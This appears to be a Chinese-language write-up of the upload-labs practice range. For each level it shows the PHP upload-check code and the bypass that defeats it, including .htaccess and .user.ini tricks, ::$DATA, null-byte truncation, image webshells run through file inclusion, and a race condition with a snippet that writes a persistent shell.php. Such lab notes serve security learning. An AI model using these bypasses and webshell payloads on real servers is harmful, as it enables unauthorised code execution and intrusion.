环境配置问题

phpStudy搭建,php版本需要选择ts的,相应的httpd-conf也需要调整,具体调整在下方给出;

所有配置都基于老版本的小皮,新版本干不起,估计和apache版本也有关系;

可以直接使用docker,又方便又省事;

上传思路

目的是为了把木马或webShell传到服务器上,服务器一般有判断,所以要绕过;

接下来的步骤思路即为靶场题目每道所得心得:

判断分为前端JS代码判断和后端代码判断,第一步就是区分是前端还是后端:

使用抓包软件拦截状态时上传文件,如果抓不到但出结果了判断为前端,否则为后端;

前端可以由禁用JS方法来解决,后端的花样比较多,一般而言,第二步先改包头content-type字段(其实大多数时候用不到,和ESP定律一个尿性);

第三步区分黑白名单,黑名单就尝试后缀绕过,如php3,php5,phtml(此方法针对于过滤不完全的黑名单机制);

补充知识:apache服务的php版本中带有nts(not thread safe)的,是非多线程安全的,目前流通使用的大多都是TS的;

而往往nts版本的php会导致有些漏洞利用不了;

第四步就是正儿八经的文件上传漏洞的入门内容了,.htaccess绕过,详细见P04;

.user.ini绕过,详见P05;

::$DATA绕过,详见P09;

第五步便是正则绕过,各种特殊写法,在P05之后都有提及,(白名单)空字符(%00,0x00)截断;

第六步是针对于文件内容检测的绕过思路,图片标识,图片🐎一类的尝试;

另类,则是条件竞争

对于文件上传的总结位于P20,归于后缀绕过,内容绕过,条件利用三大类;

P01

通过BP抓包判断为前端检测,直接看前端JS,主要逻辑通过查找元素发现submit post之后返回一个check函数:

check

搜索找到这个函数:

func

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name) == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}

针对于前端检测而言,最有效的办法就是禁用网页的javaScript,这个禁用是针对全部的JS代码,所以有时候会影响一些功能导致无法使用,不过可以先试试;

这道题可以用上述方式解决;

P02

判断为后端执行检测;

这道题可以改content-type就可以绕过了:
content

P03

这道题提示上传php后为:不允许上传.asp,.aspx,.php,.jsp后缀文件!

这是文件黑名单,而目前大多数网址使用的文件上传服务都是白名单机制,而且非常严格;

后端php判断如下,这个判断一般是写在apache服务里的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空

if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

其实它的过滤不完全,后缀只过滤掉了4个基础解析后缀,还有php3这种也能被解析成php文件的特殊文件后缀,俗称后缀绕过;

这道题如果是小皮环境,需要添加apache的httpd-conf内的php解析:

1
AddType application/x-httpd-php .php .php3 .php5 .phtml

还需要切换php版本为ts;

实在懒可以用BUUCTF的 (

P04

用之前的方法,会提示:此文件不允许上传!

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

和P03一样的检测,只不过堵死了大部分后缀,而黑名单里的话,其中有两个后缀很有意思,一个是htaccess,一个是ini,这道题没有禁前者;

.htaccess

是一个服务器分布式配置文件,每个网址根目录都会有;

但相对于httpd.conf而言,httpd.conf是作用于全局,是apache的主要配置文件,影响整个服务器;

而.htaccess文件作用范围是局部的,常位于根目录和特定目录,只影响其所在的对应目录;

使用方法:.htaccess文件修改后即时生效,而Httpd.conf一般需要管理员级权限才能进行修改,修改需要重启apache服务器才能应用;

本题可以先上传一个.htaccess文件,里面配置这么一句话:

1
2
3
<FilesMatch "Hack">                      
SetHandler application/x-httpd-php
</FilesMatch>

检测名字叫Hack的文件以php形式解析;

或者

1
AddType application/x-httpd-php .jpg .txt

意思是使jpg和txt后缀按照php文件的内容进行解析执行;

那么在这个上传目录内,传入的jpg和txt便会按照php执行了(要求服务端开启.htaccess功能 httpd.conf 所有override改为 all);

一般而言,直接改一句话木马的后缀为jpg,服务端很可能检测图片内容是否合法,所以可以使用命令合并一句话木马和一张图片来达成目的:

1
copy muma.php+tupian.jpg/b new.jpg

P05

前置知识

下面两个文件的关系和httpd.conf与.htaccess的关系类似,httpd.conf与.htaccess针对于apache服务器而言是有的;

而下面两个文件针对于php而言;

.user.ini

特定于用户和特定目录的配置文件,常常位于web应用程序的根目录下,用于覆盖或追加全局配置文件(php.ini)中的php配置选项;

作用范围:相对目录及其子目录;

生效:修改即生效;

注意,此文件生效前提是php版本大于5.3.0,最好是7的版本,且Server API为 CGI/FastCGI

php.ini

存储对整个php环境生效的配置选项,常位于php安装目录中;

作用范围:所有运行在该php环境中的php请求;

生效方式:重启php或者服务器;

此关为.user.ini上传漏洞,利用前置要求:**.user.ini生效,且上传目录已存在php文件**;

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

一样的过滤方式,但没过滤.user.ini;

绕过写法:

1
Auto-prepend-file = file.txt 

这个txt文件里只有php代码,当ini被加载后,这句话会使得这个目录下所有php文件自动包含这个file.txt里的内容,再执行;

包含进去的代码被贴到已有php文件之后;

点加空格加点绕过

此题的另类绕过方法;

Windows会将后缀名之后的.与空格自动删除;

这道题的绕过过程为:

  • 获取文件名
  • 删除文件末尾的点
  • 以点分割为一个后缀名
  • 将后缀名转为小写
  • 对后缀名去多余空格
  • 判断

当文件为file.php时,第三步获取到的文件后缀是.php,第一步获取的文件名为file.php;

但当文件为file.php. .时,第三步获取到的文件后缀是. ,第一步获取到的文件名为file.php. ;

所以可以绕过判断,并在上传后自动修正文件名为file.php;

P06

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

无法使用之前的两种绕过,但是它没判断大写,所以这道题可以大写绕过;

大写绕过

将后缀改为Php,PHP都可,只要不被匹配到;

P07

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

这道题和之前的过滤并没有把首尾去空,可以利用空格绕过;

空格绕过

在匹配的时候,后缀字符串后面有一个空格不会被匹配到,但是传上去之后Windows会自动删除末尾的空格;

P08

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

这道题并没有删除末尾点这一步;

加点绕过

如之前所说,在windows上后缀名之后的点和空格都会被删的原理;

P09

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

这次它的过滤比起之前的少了去除字符串::$DATA,那么这个东西是如何利用的呢?

额外数据流

windows操作系统中,文件名后面跟着::$DATA,表示一个文件附加数据流,数据流是一种用于在文件内部存储额外数据的机制;

正常情况下,文件只有一个默认数据流,通过文件名访问,但同时Windows NT文件系统支持在文件内部创建额外的数据流,存储其他信息用;

这些额外的数据流通过在文件后面添加::$DATA来访问;

写入方法:

利用重定向实现写入额外数据流;

1
2
echo "deadbeaf" >> file.png:Hack
type file.php >> file.png:Hack

上述后面的语句表示file.png文件的一个叫做Hack的额外数据流;

echo是将内容写入,type是将一个文件的内容写入;

查看方法:

1
notepad file.png:Hack

此时会用记事本打开额外数据流的内容并显示;

::$DATA绕过

在php中,不会验证数据流后缀,如数据流名字为a.php,它只是一个数据流而不是一个文件,所以不会验证.php;

在上面也说了,一个文件后面跟着::$DATA就是一个数据流;

而windows中,文件名不允许冒号的存在,所以在上传时,改名文件后面跟着::$DATA,让检验部分认为这上传的是一个数据流而不是文件,从而绕过检测,在到达上传文件夹后,因windows的文件命名规则,将会删除冒号后面的东西变回文件,这就是绕过过程;

P10

与P05的另类绕过方式一样;

P11

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");

$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

这道题并不是用的in_array函数,而是str_ireplace函数,有什么区别呢?

前者会使用正则匹配整句话,而后者不去匹配整句,只会找这串字符(php)然后消除,即便后面加点加空格也会被消除,大写同理;

看起来不好绕了,因为特殊写法失效了,但其实这道题是最好绕的,sql注入里学的最有意思的便是双写绕过了;

因为只判断一次,所以直接后缀起名 pphphp ,匹配中中间的php使之剔除,留下php绕过;

P12

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}

这道题与之前不同的是,使用了白名单机制;

可以知道php文件上传时,文件先是放于临时路径,之后转移到实际文件内,路径上的才是实际上的文件,之前改的文件名及其后缀只是包头内的一个字符串字段;

这道题的路径是可以被控制的,因为可以用Get传参;

此时可以用空字符截断,本身是Get部分加上后面的文件名和后缀内容组成一个文件路径,但可以在get部分直接写上一个完整文件路径,然后用空字符截断后面连接的部分达成绕过jpg的同时上传的文件类型是php;

在上传时,只需要设置参数即可成功:

1
?save_path=../upload/file.php%00

P13

这道题和P12类似,get请求变为post请求,所以在后面添加0x00的hex编码即可;

P14

图片字节标识

魔术码

JPEG/JFIF 0xFF 0xD8

PNG 0x89 0x50

GIF 0x47 0x49

BMP 0x42 0x4D

TIFF 可变动,但也是前两个字节;

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);

if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}

这道题在检测上传文件的标识符,也就是前两个字节;

那么绕过思路则是在写好的一句话木马前面添加标识符进行绕过;

但这样还不够,服务器会把它按照图片解析,需要利用 文件包含漏洞 运行图片🐎中的木马;

文件包含前瞻

php设计之初为了使资源利用率更高效,设计了include这么一个东西;

当一个文件要引用一个另文件时,include进来就能直接使得这个文件调用一次;

当操控者可以控制include后面跟着的文件路径时,漏洞就发生了,因为在包含之后的文件会以php解析的形式执行,当图片内有php木马时,include就导致了木马的执行;

在upload文件夹的上层,靶场自带了一个include.php文件,用来形成文件包含漏洞的:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
/* 本页面存在文件包含漏洞,用于测试图片马是否能正常运行! */
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file))
{
include $file;
}
else
{
show_source(__file__);
}
?>

那么此时上传之后,使用该漏洞便可成功绕过:

1
127.0.0.1/upload-labs-master/include.php?file=./upload/file.png

P15

这道题相对于P14对图片检测要求更严格,会检测上传图片的大小,此时就需要用到在P04说到的方法,copy图片和木马成为一个图片🐎;

之后利用文件包含漏洞绕过;

(实际上可以用010eiditor把木马以十六进制格式附加到图片末尾)

P16

同P15一样;

P17

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];

$target_path=UPLOAD_PATH.'/'.basename($filename);

// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);

//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);

if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}

}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);

if($im == false){
$msg = "该文件不是png格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);

@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}

}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);

@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}

这道题很明显针对了图片马,在上传之后将图片进行重写,也就是二次渲染;

如何判断图片被二次渲染?当使用P15,P16的方法不起作用时,上传图片另存为下载下来查看是否木马语句还存在即可判断;

如何绕过?要知道,二次渲染只是将图片的原始内容保存,其他内容进行重写,那么要找到原始的内容,也就是没改写部分的内容,进行对木马的插入即可;找寻重写部分只需要使用010进行diff比较即可;

理论来说GIF更容易,而修改PNG文件不能直接插入;

P18

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;

if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}

看起来和P12的源码很像,只不过PATH部分拼接由原来的GET传参变成了UPLOAD_PATH这么个东西,这说明没办法控制上传路径,就无法利用空字符截取了;

并且它是先move再in array,这和之前的顺序也有区别,这说明它是先将文件放到服务器的文件夹上,再去做后缀判断;

文件上传条件竞争

前提:文件先到服务器上,再做判断;

本质:抢夺线程的资源,使得上传的木马文件可以快速访问运行一次(上传之后,判断之前);

实际方式:一直上传,一直访问,在线程没反应过来的时候给与木马命令的执行;

总结:一个可执行php在目标文件夹一闪而逝即可利用;

但由于不可能只依靠这条一句话木马进行不可靠的信息传输,所以在需要这么访问的文件里,写入执行生成小马的语句,在它的上传文件目录中生成一个一直存在的一句话木马文件即可:

1
<?php fputs(fopen('shell.php','w'),'<?一句话木马?>' ); ?>

若有检测标识符,可以用base64编码绕过;

如何实现一直上传?一直访问?使用bp的测试器模块进行持续重放攻击,抓取上传php的包以及一直访问的包;

try

真是太裤辣!

P19

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
require_once("./myupload.php");
$imgFileName =time();
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
$status_code = $u->upload(UPLOAD_PATH);
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = '文件已经被上传,但没有重命名。';
break;
case -1:
$msg = '这个文件不能上传到服务器的临时文件存储目录。';
break;
case -2:
$msg = '上传失败,上传目录不可写。';
break;
case -3:
$msg = '上传失败,无法上传该类型文件。';
break;
case -4:
$msg = '上传失败,上传的文件过大。';
break;
case -5:
$msg = '上传失败,服务器已经存在相同名称文件。';
break;
case -6:
$msg = '文件无法上传,文件不能复制到目标目录。';
break;
default:
$msg = '未知错误!';
break;
}
}

//myupload.php
class MyUpload{
......
......
......
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......
/** upload()
**
** Method to upload the file.
** This is the only method to call outside the class.
** @para String name of directory we upload to
** @returns void
**/
function upload( $dir ){

$ret = $this->isUploadedFile();

if( $ret != 1 ){
return $this->resultUpload( $ret );
}

$ret = $this->setDir( $dir );
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

$ret = $this->checkExtension();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

$ret = $this->checkSize();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

// if flag to check if the file exists is set to 1

if( $this->cls_file_exists == 1 ){

$ret = $this->checkFileExists();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}

// if we are here, we are ready to move the file to destination

$ret = $this->move();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

// check if we need to rename the file

if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}

// if we are here, everything worked as planned :)

return $this->resultUpload( "SUCCESS" );

}
......
......
......
};

对于上传文件的代码审计:

先判断路径

再设置路径

再检查后缀以及文件大小

之后移动文件到服务器上

再进行随机重命名;

此时文件还没移动到服务器上就已经判断并删掉了,但是在白名单里面比之前多出来了一些压缩文件的后缀,不只是图片后缀了;

apache解析漏洞

对于apache服务器来说,访问一个服务器并不能解析的文件,它会对文件整体名字向前进行搜索,找到一个可以解析的后缀来执行;

例如一个文件叫做: file.php.7z ;

当用浏览器访问这个文件的时候,apache无法解析7z,就会把它当作一个php文件来执行;

而这道题虽然上传是在文件判断之后,但是7z后缀是可以上传上去的,只是之后会对其重命名,重命名变为xxx.7z,服务器不知道怎么解析,会用记事本打开;

赶在重命名之前对原文件进行访问,可以达到执行php的目的,实现针对于apache解析漏洞的条件竞争;

P20

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

if(!in_array($file_ext,$deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}else{
$msg = '上传出错!';
}
}else{
$msg = '禁止保存为该类型文件!';
}

} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

